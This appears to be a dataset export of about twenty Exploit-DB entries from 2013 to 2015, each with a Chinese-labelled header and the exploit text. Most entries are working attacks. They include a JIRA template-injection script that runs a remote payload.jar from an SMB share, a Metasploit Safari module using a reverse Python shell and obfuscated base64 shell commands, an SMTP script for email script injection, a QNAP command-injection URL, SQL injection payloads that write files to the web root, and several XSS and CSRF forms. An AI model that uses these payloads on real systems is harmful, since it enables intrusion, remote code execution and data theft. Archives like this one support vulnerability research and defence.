QLWD/code_shield huggingface dataset:
标题: Samsung fimg2d - FIMG2D_BITBLT_BLIT ioctl Concurrency Flaw EDB-ID: 38557 CVE: 2015-7891 类型: DOS 平台: ANDROID 发布日期: 2015-10-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=492

The Samsung Graphics 2D driver (/dev/fimg2d) is accessible by unprivileged users/applications. It was found that the ioctl implementation for this driver contains a locking error which can lead to memory errors (such as use-after-free) due to a race condition.

The key observation is in the locking routine definitions in fimg2d.h:

#ifdef BLIT_WORKQUE
#define g2d_lock(x)             do {} while (0)
#define g2d_unlock(x)           do {} while (0)
#define g2d_spin_lock(x, f)     spin_lock_irqsave(x, f)
#define g2d_spin_unlock(x, f)   spin_unlock_irqrestore(x, f)
#else
#define g2d_lock(x)             mutex_lock(x)
#define g2d_unlock(x)           mutex_unlock(x)
#define g2d_spin_lock(x, f)     do { f = 0; } while (0)
#define g2d_spin_unlock(x, f)   do { f = 0; } while (0)
#endif

This means that the g2d_lock/g2d_unlock routines are no-ops when BLIT_WORKQUE is defined, which appears to be the default configuration. Unfortunately the alternative spin lock routines are not used consistently with this configuration. For example, the FIMG2D_BITBLT_BLIT ioctl command (with notes annotated as "PZ"):

ctx = file->private_data; /* PZ: ctx allocated at open(), lives on the heap. */

switch (cmd) {
case FIMG2D_BITBLT_BLIT:

 mm = get_task_mm(current);
 if (!mm) {
  fimg2d_err("no mm for ctx\n");
  return -ENXIO;
 }

 g2d_lock(&ctrl->drvlock); /* PZ: This is a no-op. */

 ctx->mm = mm;

 ret = fimg2d_add_command(ctrl, ctx, (struct fimg2d_blit __user *)arg);
 if (ret) {
  ...
 }

 ret = fimg2d_request_bitblt(ctrl, ctx); /* PZ: Does stuff with the ctx. */
 if (ret) {
  ...
 }

 g2d_unlock(&ctrl->drvlock); /* PZ: Another no-op */

As the lock macros are no-ops, a second process can change ctx->mm when the original process is still using the same ctx->mm (as long as it has access to the same file descriptor).

Reproduction steps:
Open /dev/fimg2d
Fork to get two processes with different mm’s with the access to the fd
Concurrently call the FIMG2D_BITBLT_BLIT ioctl from both processes.
One ioctl should have valid data, the other should fail

At this point ctx->mm will now have invalid or free data (free if the forked process dies). Proof-of-concept code to trigger this condition is attached (fimg2d-lock.c)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38557.zip URL: https://www.exploit-db.com/exploits/38557
标题: Samsung SecEmailUI - Script Injection EDB-ID: 38554 CVE: 2015-7893 类型: REMOTE 平台: ANDROID 发布日期: 2015-10-28 漏洞利用脚本: # Source: https://code.google.com/p/google-security-research/issues/detail?id=494

'''
The default Samsung email client's email viewer and composer (implemented in SecEmailUI.apk) doesn't sanitize HTML email content for scripts before rendering the data inside a WebView. This allows an attacker to execute arbitrary JavaScript when a user views a HTML email which contains HTML script tags or other events.

At the very least the JavaScript could exploit the attack surface provided within the WebView control. It might also be possible to access local file content or emails depending on the full configuration of the WebView, although this hasn't been tested fully. 

This can also be exploited locally with the com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND intent which will include attacker controlled HTML in the sending email. If the final message was viewed it would be possible for the script to extract the original message from the Document object and potentially post that information to another server.

Attached is a simple SMTP client in Python to send an HTML message with script contents to the device. The "me", "you", "me_password" and "smtp_server" variables need to be changed to ones appropriate for the sending email account and the receiving account on the phone. When the resulting email is viewed it should display the URL of the page which is of the form email://M/N where M is the email account ID and N is the message ID which proves that the script code executed.
'''

#!/usr/bin/env python

import smtplib

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText

# Change the details here appropriate to your configuration
me = "attacker@gmail.com"
me_password = "THIS IS NOT REAL"
you = "project.zero.test@gmail.com"
smtp_server = "smtp.gmail.com"

msg = MIMEMultipart('alternative')
msg['Subject'] = "Hello There!"
msg['From'] = me
msg['To'] = you

text = "Hello There!"
html = """\
<html>
  <head></head>
  <body>
   <p>
       <script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
    </p>
  </body>
</html>
"""

part1 = MIMEText(text, 'plain')
part2 = MIMEText(html, 'html')

msg.attach(part1)
msg.attach(part2)

s = smtplib.SMTP_SSL(smtp_server)
s.login(me, me_password)
s.sendmail(me, you, msg.as_string())
s.quit() URL: https://www.exploit-db.com/exploits/38554
标题: Linux Kernel 3.3.5 - 'b43' Wireless Driver Privilege Escalation EDB-ID: 38559 CVE: 2013-2852 类型: LOCAL 平台: LINUX 发布日期: 2013-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/60410/info

Linux kernel is prone to a local privilege-escalation vulnerability.

Local attackers can exploit the issue to execute arbitrary code with kernel privileges or to crash the kernel, effectively denying service to legitimate users. 

# rmmod b43
# modprobe b43 fwpostfix=AA%xBB
# dmesg URL: https://www.exploit-db.com/exploits/38559
标题: QNAP VioStor NVR / QNAP NAS - Remote Code Execution EDB-ID: 38550 CVE: 2013-0143 类型: WEBAPPS 平台: CGI 发布日期: 2013-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/60354/info

QNAP VioStor NVR and QNAP NAS are prone to a remote code-execution vulnerability.

Successfully exploiting this issue may allow an attacker to execute arbitrary code with elevated privileges in the context of the user running the affected application.

The following are vulnerable:

QNAP VioStor NVR running firmware 4.0.3.
QNAP NAS 

http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami URL: https://www.exploit-db.com/exploits/38550
标题: Samsung - 'seiren' Kernel Driver Buffer Overflow EDB-ID: 38556 CVE: 2015-7890 类型: DOS 平台: ANDROID 发布日期: 2015-10-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=491

The Exynos Seiren Audio driver has a device endpoint (/dev/seiren) that is accessible by either the system user or the audio group (such as the mediaserver). It was found that the write() implementation for this driver contains a buffer overflow vulnerability that overflow a static global buffer:

static ssize_t esa_write(struct file *file, const char *buffer,
                                        size_t size, loff_t *pos)
{
        struct esa_rtd *rtd = file->private_data;
        unsigned char *ibuf;
…
        ibuf = rtd->ibuf0;
...
        /* receive stream data from user */
        if (copy_from_user(ibuf, buffer, size)) {
                esa_err("%s: failed to copy_from_user\n", __func__);
                goto err;
        }

Note that the user supplied buffer and size parameters are not adequately bounds checked. The destination buffer is fixed size, so memory corruption can occur. A simple proof-of-concept from a privileged shell can be used to trigger the issue (tested on a Samsung S6 Edge):

# dd if=/dev/zero of=/dev/seiren count=5000000 URL: https://www.exploit-db.com/exploits/38556
标题: Apache Struts - OGNL Expression Injection EDB-ID: 38549 CVE: 2013-2134 类型: REMOTE 平台: MULTIPLE 发布日期: 2013-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/60345/info

Apache Struts is prone to a remote OGNL expression injection vulnerability.

Remote attackers can exploit this issue to manipulate server-side objects and execute arbitrary commands within the context of the application.

Apache Struts 2.0.0 through versions 2.3.14.3 are vulnerable. 

http://www.example.com/example/%24%7B%23foo%3D%27Menu%27%2C%23foo%7D

http://www.example.com/example/${#foo='Menu',#foo} URL: https://www.exploit-db.com/exploits/38549
标题: Samsung - SecEmailComposer QUICK_REPLY_BACKGROUND Permissions EDB-ID: 38558 CVE: 2015-7889 类型: DOS 平台: ANDROID 发布日期: 2015-10-28 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=490

The SecEmailComposer/EmailComposer application used by the Samsung S6 Edge has an exported service action to do quick replies to emails. It was found that this action required no permissions to call, and could lead to an unprivileged application gaining access to email content.

Service Action: com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND
Component: com.samsung.android.email.composer
Class Name: com.samsung.android.email.composer.service.QuickReplyService

The service takes a JSON encoded string with various additional parameters. We need to know two parameters, the email address of the local account and a message ID. We can guess a valid message ID (which just seems to be an incrementing number).

If we guess an invalid ID the service simply returns, but if we do get a valid ID the service seems to automatically create the reply email, attach an attacker supplied message as well as the contents of the original message and sends it to any email address you like. For example:

Intent intent = new Intent();
intent.setAction("com.samsung.android.email.intent.action.QUICK_REPLY_BACKGROUND");
intent.setClassName("com.samsung.android.email.composer",
       "com.samsung.android.email.composer.service.QuickReplyService");
intent.putExtra("data", "{'original-msg-id':1, " +
       "'account-id':'project.zero.victim@gmail.com', " +
       "'msg':'Hello World!'," +
       "'title':'Hello Title'," +
       "'toList':'project.zero.attacker@gmail.com'}");
ComponentName name = MainActivity.this.startService(intent);

No permissions are required to send this service intent. If successfully sent this will show up in a "sent email" notification and will be present user’s sent email folder. URL: https://www.exploit-db.com/exploits/38558
标题: Telaen - Information Disclosure EDB-ID: 38548 CVE: 2013-2624 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/60340/info

Telaen is prone to an information-disclosure vulnerability.

Successful exploits will allow attackers to obtain sensitive information that may aid in further attacks.

Versions prior to Telaen 1.3.1 are vulnerable.

hhtp://www.example.com//telaen/inc/init.php URL: https://www.exploit-db.com/exploits/38548
标题: JIRA and HipChat for JIRA Plugin - Velocity Template Injection EDB-ID: 38551 CVE: 2015-5603 类型: WEBAPPS 平台: JAVA 发布日期: 2015-10-28 漏洞利用脚本: ############################################################################
# JIRA and HipChat for JIRA plugin Velocity Template Injection Vulnerability
# Date: 2015-08-26
# CVE ID: CVE-2015-5603
# Vendor Link: https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html
#
# Product: JIRA and the HipChat for JIRA plugin.
# Affected HipChat For JIRA plugin versions: 1.3.2 <= version < 6.30.0
# Affected JIRA product versions: 6.3.5 <= version <  6.4.11
#
# Discovered internally by Atlassian (vendor)
# Proof of concept script by Chris Wood <chris@invivid.com>
#
# Tested against JIRA 6.3.4a with HipChat 6.29.2 on Windows 7 x64
# Allows any authenticated JIRA user to execute code running as Tomcat identity
############################################################################

import urllib2
import json

# cookie of any authenticated session (ex. jira-user)
JSESSIONID = '541631B0D72EF1C71E932953F4760A70'

# jira server
RHOST      = 'http://192.168.2.15:8080'

# samba public share, read/write to anonymous users
CMD     = ' java -jar \\\\192.168.2.234\\public\\payload.jar '
data = {
    'message': ' $i18n.getClass().forName(\'java.lang.Runtime\').getMethod(\'getRuntime\', null).invoke(null, null).exec(\'' + CMD + '\').waitFor() '
}

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'JSESSIONID=' + JSESSIONID))
urllib2.install_opener(opener)
req = urllib2.Request(RHOST + '/rest/hipchat/integrations/1.0/message/render/')
req.add_header('Content-Type', 'application/json')

response = urllib2.urlopen(req, json.dumps(data))

print('##################################')
print('######### CVE-2015-5603 ##########')
print('##################################')
print(response.read()) URL: https://www.exploit-db.com/exploits/38551
标题: Telaen 2.7.x - Cross-Site Scripting EDB-ID: 38545 CVE: 2013-2623 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/60288/info

Telaen is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to Telaen 1.3.1 are vulnerable. 

http://www.example.com/telaen/index.php?tid=default&lid=en_UK&f_email="><script>alert("XSS")</script> URL: https://www.exploit-db.com/exploits/38545
标题: Telaen 2.7.x - Open Redirection EDB-ID: 38546 CVE: 2013-2621 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/60290/info

Telaen is prone to an open-redirection vulnerability.

An attacker can leverage this issue by constructing a crafted URI and enticing a user to follow it. When an unsuspecting victim follows the link, they may be redirected to an attacker-controlled site; this may aid in phishing attacks. Other attacks are possible.

Versions prior to Telaen 1.3.1 are vulnerable. 

http://www.example.com/telaen/redir.php?http://www.malicious-site.com URL: https://www.exploit-db.com/exploits/38546
标题: Joomla! Component Realtyna RPL 8.9.2 - Multiple SQL Injections EDB-ID: 38527 CVE: 2015-7714 类型: WEBAPPS 平台: PHP 发布日期: 2015-10-23 漏洞利用脚本: Realtyna RPL 8.9.2 Joomla Extension Multiple SQL Injection Vulnerabilities


Vendor: Realtyna LLC
Product web page: https://www.realtyna.com
Affected version: 8.9.2

Summary: Realtyna CRM (Client Relationship Management) Add-on
for RPL is a Real Estate CRM specially designed and developed
based on business process and models required by Real Estate
Agents/Brokers. Realtyna CRM intends to increase the Conversion
Ratio of the website Visitors to Leads and then Leads to Clients.


Desc: Realtyna RPL suffers from multiple SQL Injection vulnerabilities.
Input passed via multiple POST parameters is not properly sanitised
before being returned to the user or used in SQL queries. This can
be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Tested on: Apache
           PHP/5.4.38
     MySQL/5.5.42-cll 

Vulnerability discovered by Bikramaditya 'PhoenixX' Guha


Advisory ID: ZSL-2015-5272
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5272.php
Vendor: http://rpl.realtyna.com/Change-Logs/RPL7-Changelog
CVE ID: CVE-2015-7714
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7714


05.10.2015

--


http://localhost/administrator/index.php
POST parameters: id, copy_field, pshow, css, tip, cat_id, text_search, plisting, pwizard

Payloads:

- option=com_rpl&view=addon_membership_members&format=edit&id=84'
- option=com_rpl&view=property_structure&format=ajax&function=new_field&id=3004'&type=text
- option=com_rpl&view=rpl_multilingual&format=ajax&function=data_copy&copy_field=308'&copy_from=&copy_to=en_gb&copy_method=1
- option=com_rpl&view=property_structure&format=ajax&function=update_field&id=3002&options=0&css=&tip=&style=&name=&cat_id=1&text_search=0&plisting=0&pshow=1'&pwizard=1&mode=add URL: https://www.exploit-db.com/exploits/38527
标题: Joomla! Component Realtyna RPL 8.9.2 - Persistent Cross-Site Scripting / Cross-Site Request Forgery EDB-ID: 38528 CVE: 2015-7715 类型: WEBAPPS 平台: PHP 发布日期: 2015-10-23 漏洞利用脚本: Realtyna RPL 8.9.2 Joomla Extension Persistent XSS And CSRF Vulnerabilities


Vendor: Realtyna LLC
Product web page: https://www.realtyna.com
Affected version: 8.9.2

Summary: Realtyna CRM (Client Relationship Management) Add-on
for RPL is a Real Estate CRM specially designed and developed
based on business process and models required by Real Estate
Agents/Brokers. Realtyna CRM intends to increase the Conversion
Ratio of the website Visitors to Leads and then Leads to Clients.


Desc: The application allows users to perform certain actions
via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site. Multiple cross-site scripting vulnerabilities
were also discovered. The issue is triggered when input passed
via the multiple parameters is not properly sanitized before
being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in
context of an affected site.

Tested on: Apache
           PHP/5.4.38
     MySQL/5.5.42-cll

Vulnerability discovered by Bikramaditya 'PhoenixX' Guha


Advisory ID: ZSL-2015-5271
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5271.php
Vendor: http://rpl.realtyna.com/Change-Logs/RPL7-Changelog
CVE ID: CVE-2015-7715
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7715


05.10.2015

--


1. CSRF:

<html lang="en">
<head>
<title>CSRF POC</title>
</head>
<body>
<form action="http://localhost/administrator/index.php" id="formid" method="post">
<input type="hidden" name="option" value="com_rpl" />
<input type="hidden" name="view" value="addon_membership_members" />
<input type="hidden" name="format" value="ajax" />
<input type="hidden" name="function" value="add_user" />
<input type="hidden" name="id" value="85" />
</form>
<script>
document.getElementById('formid').submit();
</script>
</body>
</html>


2. Cross Site Scripting (Stored):

http://localhost/administrator/index.php
POST parameters: new_location_en_gb, new_location_fr_fr

Payloads:

option=com_rpl&view=location_manager&format=ajax&new_location_en_gb=%22onmousemove%3D%22alert(1)%22%22&new_location_fr_fr=&level=1&parent=&function=add_location
option=com_rpl&view=location_manager&format=ajax&new_location_en_gb=&new_location_fr_fr=%22onmousemove%3D%22alert(2)%22%22&level=1&parent=&function=add_location URL: https://www.exploit-db.com/exploits/38528
标题: Apple Safari - User-Assisted Applescript Exec Attack (Metasploit) EDB-ID: 38535 CVE: 2015-7007 类型: REMOTE 平台: OSX 发布日期: 2015-10-26 漏洞利用脚本: ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Safari User-Assisted Applescript Exec Attack',
      'Description'    => %q{
        In versions of Mac OS X before 10.11.1, the applescript:// URL
        scheme is provided, which opens the provided script in the Applescript
        Editor. Pressing cmd-R in the Editor executes the code without any
        additional confirmation from the user. By getting the user to press
        cmd-R in Safari, and by hooking the cmd-key keypress event, a user
        can be tricked into running arbitrary Applescript code.

        Gatekeeper should be disabled from Security & Privacy in order to
        avoid the unidentified Developer prompt.
      },
      'License'         => MSF_LICENSE,
      'Arch'            => ARCH_CMD,
      'Platform'        => ['unix', 'osx'],
      'Compat'          =>
        {
          'PayloadType' => 'cmd'
        },
      'Targets'         =>
        [
          [ 'Mac OS X', {} ]
        ],
      'DefaultOptions' => { 'payload' => 'cmd/unix/reverse_python' },
      'DefaultTarget'   => 0,
      'DisclosureDate'  => 'Oct 16 2015',
      'Author'          => [ 'joev' ],
      'References'     =>
        [
          [ 'CVE', '2015-7007' ],
          [ 'URL', 'https://support.apple.com/en-us/HT205375' ]
        ],
      'BrowserRequirements' => {
        :source  => 'script',
        :ua_name => HttpClients::SAFARI,
        :os_name => OperatingSystems::Match::MAC_OSX
      }
    ))

    register_options([
      OptString.new('CONTENT', [false, "Content to display in browser",
        "This page has failed to load. Press cmd-R to refresh."]),
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ], self.class)
  end

  def on_request_exploit(cli, request, profile)
    print_status("Sending #{self.name}")
    send_response_html(cli, exploit_html)
  end

  def exploit_html
    "<!doctype html><html><body>#{content}<script>#{exploit_js}</script></body></html>"
  end

  def exploit_js
    js_obfuscate %Q|
      var as = Array(150).join("\\n") +
        'do shell script "echo #{Rex::Text.encode_base64(sh)} \| base64 --decode \| /bin/sh"';
      var url = 'applescript://com.apple.scripteditor?action=new&script='+encodeURIComponent(as);
      window.onkeydown = function(e) {
        if (e.keyCode == 91) {
          window.location = url;
        }
      };
    |
  end

  def sh
    'killall "Script Editor"; nohup ' + payload.encoded
  end

  def content
    datastore['CONTENT']
  end


end URL: https://www.exploit-db.com/exploits/38535
标题: Jojo CMS - 'search' Cross-Site Scripting EDB-ID: 38518 CVE: 2013-3082 类型: WEBAPPS 平台: PHP 发布日期: 2013-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/59933/info

Jojo CMS is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Jojo CMS 1.2 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/forgot-password/" method="post">
<input type="hidden" name="search" value='<script>alert(document.cookike);</script>'>
<input type="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/38518
标题: WordPress Plugin Mail On Update - Cross-Site Request Forgery EDB-ID: 38517 CVE: 2013-2107 类型: WEBAPPS 平台: PHP 发布日期: 2013-05-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/59932/info

The Mail On Update plugin for WordPress is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible.

Mail On Update 5.1.0 is vulnerable; prior versions may also be affected. 

<html><form action="https://example.com/wp/wp-admin/options-general.php?page=mail-on-update"; method="post" 
class="buttom-primary">
<input name="mailonupdate_mailto" type="hidden" value="example0 () example com
example1 () example com
example2 () example com
example3 () example com
example4 () example com
example5 () example com
example6 () example com
example7 () example com
example8 () example com
example9 () example com
example10 () example com
henri+monkey () nerv fi" />
<input name="submit" type="submit" value="Save"/></form></html> URL: https://www.exploit-db.com/exploits/38517
标题: Jojo CMS - 'x-forwarded-for' HTTP header SQL Injection EDB-ID: 38519 CVE: 2013-3081 类型: WEBAPPS 平台: PHP 发布日期: 2013-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/59934/info

Jojo CMS is prone to an SQL-injection vulnerability because it fails to sanitize user-supplied input.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jojo CMS 1.2 is vulnerable; other versions may also be affected. 

POST /articles/test/ HTTP/1.1
X-Forwarded-For: ' OR 1=1 INTO OUTFILE '/var/www/file.php' -- 
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
name=name&email=user%40mail.com&website=&anchortext=&comment=comment&submit=Post+Comment URL: https://www.exploit-db.com/exploits/38519